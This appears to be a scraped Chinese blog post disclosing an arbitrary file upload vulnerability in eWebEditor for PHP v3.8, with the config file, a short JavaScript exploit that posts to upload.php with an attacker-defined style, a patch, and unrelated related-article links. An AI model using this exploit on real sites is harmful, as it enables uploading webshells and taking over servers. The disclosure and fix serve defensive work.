此漏洞仅测试了最新版v3.8,不知道低版本是否存在此漏洞。PHP版本的ewebeditor并没有使用数据库来保存配置信息,所有信息位于php/config.php中,代码如下:

$sUsername = "admin";

$sPassword = "admin";[separator]

$aStyle[1] = "gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office标准风格,部分常用按钮,标准适合界面宽度|||1|||zh-cn|||0|||500|||300|||0|||版权所有...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1";

........

它将所有的风格配置信息保存为一个数组$aStyle,在register_global为on的情况下我们可以任意添加自己喜欢的风格,然后就可以在自己添加的风格中可以随意定义可上传文件类型。

这漏洞成因很简单,下面给个exp

URL:

file:

function fsubmit(){

form = document.forms[0];

form.action = form.url.value+'php/upload.php?action=save&type=FILE&style=toby57&language=en';

alert(form.action);

form.submit();

}

漏洞修补方法:

初始化数组$aStyle

$sUsername = "admin";

$sPassword = "admin";

$aStyle = array();

$aStyle[1] = "gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office标准风格,部分常用按钮,标准适合界面宽度|||1|||zh-cn|||0|||500|||300|||0|||版权所有...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1";

本文由站长原创或收集,不代表本站立场,如若转载,请注明出处:http://www.yesck.com/post/33/

ewebeditor php漏洞,ewebeditor for php任意文件上传漏洞相关推荐

  1. 织梦guestbook.php漏洞,DEDE:织梦漏洞修复(含任意文件上传漏洞与注入漏洞)

    这几天阿里频繁提醒网站有漏洞,搞得我不胜其烦,好吧,我修复还不行吗?搜索之后整理如下,仅供参考(5.7以上版本适用): 任意文件上传漏洞修复 一./include/dialog/select_soft ...

  2. struts2 ajax上传文件 file空_WordPress插件漏洞分析:WPDiscuz任意文件上传漏洞

    写在前面的话 就在不久之前,Wordfence的威胁情报团队在一款名叫wpDiscuz的Wordpress评论插件中发现了一个高危漏洞,而这款插件目前已有超过80000个网站在使用了.这个漏洞将允许未 ...

  3. uploadify.php 漏洞,PhotoStore “uploadify.php”任意文件上传漏洞

    发布日期:2014-01-08 更新日期:2014-01-12 受影响系统: ktools PhotoStore 4.0.7 描述: --------------------------------- ...

  4. 文件上传漏洞ED01-CMS v20180505 存在任意文件上传漏洞

    进入登陆页面我们弱口令admin:admin登录成功: 登录后我们进入user目录上传图片: 我们上传shell.png,抓包修改为shell.php; <?php system($_GET(1 ...

  5. vc++ 6.0 创建程序快捷方式的一个例子源码_漏洞复现:phpcms v9.6.0任意文件上传漏洞(CVE201814399)...

    文章说明 漏洞复现是为了学习漏洞利用所写,漏洞都是互联网上以流传已久的各种漏洞的利用及原理,用来增强自己见识,培养自己动手能力,有兴趣的朋友可自行搭建环境练习.源码下载连接在文章最后. 漏洞说明 PH ...

  6. enjoyscm UploadFile任意文件上传漏洞

    漏洞复现 enjoyscm UploadFile任意文件上传漏洞 0x01 漏洞描述 enjoyscm是国内部分超市使用的一种供应链管理系统.enjoyscm UploadFile参数存在 任意文件上 ...

  7. php上传漏洞绕过gd库,jQuery File Upload任意文件上传漏洞

    事件背景 jQuery是一个快速.简洁的JavaScript框架,是继Prototype之后又一个JavaScript代码库(或JavaScript框架).jQuery File Upload一个jQ ...

  8. 某office前台任意文件上传漏洞分析

    X微e-office的那个前台任意文件上传漏洞已经被爆出一段时间了,相关的漏洞利用脚本甚至是漏洞批量利用脚本 也有很多.在这里根据系统代码结合POC来分析一下这个漏洞点. 定位漏洞点 [私信回复&qu ...

  9. 任意文件上传mysql_BigDump 跨站脚本、SQL注入、任意文件上传漏洞

    发布日期:2012-11-28 更新日期:2012-12-04 受影响系统: ozerov BigDump 0.29b 描述: ------------------------------------ ...

  10. 详细分析 Sonlogger 任意文件上传漏洞 (CVE-2021-27964)

     聚焦源代码安全,网罗国内外最新资讯! 概述 Sonlogger 是土耳其SFC 公司 开发的一款应用软件,兼容土耳其<第5651号法>,是一款基于 Web 的 SonicWall 防火墙 ...

最新文章

  1. 新盒模型移动端的排版
  2. 影像组学视频学习笔记(22)-从atlas抠出想要的ROI做成mask文件、Li‘s have a solution and plan.
  3. js如何生成一个对象,并转化为json字符串
  4. 预备作业02 20162320刘先润
  5. 【错误记录】发布 Flutter 插件包报错 ( It‘s strongly recommended to include a “homepage“ or “repository“ field )
  6. 【监控】Grafana面板修改记录
  7. mysql数据库子查询的使用_MySQL数据库使用子查询方式更新数据优化及思考
  8. Collections.sort的使用
  9. 160 - 8 Andrnalin.1
  10. WIN10网络共享文件夹实战
  11. echarts柱状图大小显示_百度Echarts入坑(柱状图正负显示)
  12. 交换机端口mtu值最大_-【SDN】交换机MTU配置总结
  13. Spring:applicationContext.xml的头文件信息
  14. c语言如何画简单图形,如何用C语言画基本图形
  15. Statistical Analysis:关联度分析之灰色关联分析软件
  16. 大数据实战|怎样实现大型电商热销榜?
  17. 宝宝淹脖子怎么办?千万别用爽身粉
  18. windows7所有版本
  19. outlook反复出现验证
  20. SLAP(Speaker-Listener Label Propagation Algorithm)社区发现算法

热门文章

  1. vs code 让界面占满全屏的快捷键
  2. 苹果授权登录,后端校验(Sign in with Apple)
  3. 冯康 计算机组装与维护,计算机组装与维护_毕业论文.doc
  4. MATLAB及Simulink----基本知识简介
  5. POJ - 3537 Crosses and Crosses (MLI - SG)
  6. nginx+fastdfs 502异常解决
  7. 推荐一款STM32F030K6T6兼容替换灵动MM32F031K6T6
  8. U-Mail反垃圾邮件网关-垃圾邮件的“克星”
  9. 计算机中丢失msvcp120.dll是什么意思,win7系统玩游戏提示“msvcp120.dll丢失”怎么修复...
  10. 纵横算法之一:面试为什么非要有算法